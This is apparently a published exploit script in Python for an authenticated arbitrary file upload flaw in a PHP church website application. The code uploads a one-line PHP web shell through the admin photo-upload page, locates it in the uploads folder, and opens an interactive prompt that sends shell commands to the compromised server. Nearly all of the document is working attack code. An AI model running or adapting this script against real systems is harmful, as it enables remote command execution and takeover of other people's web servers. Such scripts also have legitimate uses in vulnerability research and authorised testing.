# Exploit Title: Native Church Website - Arbitrary File Upload (Authenticated)
# Date: 04/21
# Exploit Author: Richard Jones
# Vendor Homepage: https://www.sourcecodester.com/php/11764/native-church-website-phpmysql.html
# Version: 1.0
# Tested on: Windows 10 build 19041 + xampp 3.2.4

#/usr/bin/python3

import requests
import re
from requests.models import ReadTimeoutError
import sys

s = requests.Session()

TARGET = "192.168.1.207"  # <<< CHANGE ME

UPLOADS_URL = f"http://{TARGET}/native/admin/save-photo.php"
GALLERY_URL = f"http://{TARGET}/native/uploads/"

def get(url):
    r = s.get(url)
    return r.text

def banner():
    ban = """ _______         __      __                 
 \      \   ____/  \    /  \  ______  ______
 /   |   \_/ ___\   \/\/   /  \____ \/  ___/
/    |    \  \___\        /   |  |_> >___ \ 
\____|__  /\___  >\__/\  / /\ |   __/____  >
        \/     \/      \/  \/ |__|       \/ 

    """
    return ban

def uploadShell():
    data = (
        ('file', ("file.php", "<?php system($_GET['c']);?>")),
        ('caption', (None, 'simprevshell')),
    )
    r = s.post(UPLOADS_URL, files=data)
    if r.status_code == 200:
        return True
    else:
        return False

def getLink(page):
    matchObj = re.findall("href=\"(.*?).php\"", page)
    return matchObj

def testURL(url):
    r = s.get(url)
    return r.status_code

def getUploadLink(uploads):
    if len(NEW_UPLOADS) > 1:
        for l in NEW_UPLOADS:
            link = f"{GALLERY_URL}{l}.php"
            if testURL(link) == 200:
                return link

uploadShell()

# Get upload link.
NEW_UPLOADS=getLink(get(GALLERY_URL))
shellUrl = getUploadLink(NEW_UPLOADS)

print("\033[34;1m" + banner() + "\033[0m")
print("\033[37m" + "Created by: Richard Jones aka Ac1d" +"\033[0m")
#Run webshell.
while True:
    print()
    try:
        cmd = input("\033[91mac1d\033[0m>")
        if cmd == "exit":
            sys.exit()
        r = s.get(f"{shellUrl}?c={cmd}", verify=False)
        if r.status_code == 200:
            print(r.text)
        else:
            raise Exception
    except KeyboardInterrupt:
        sys.exit()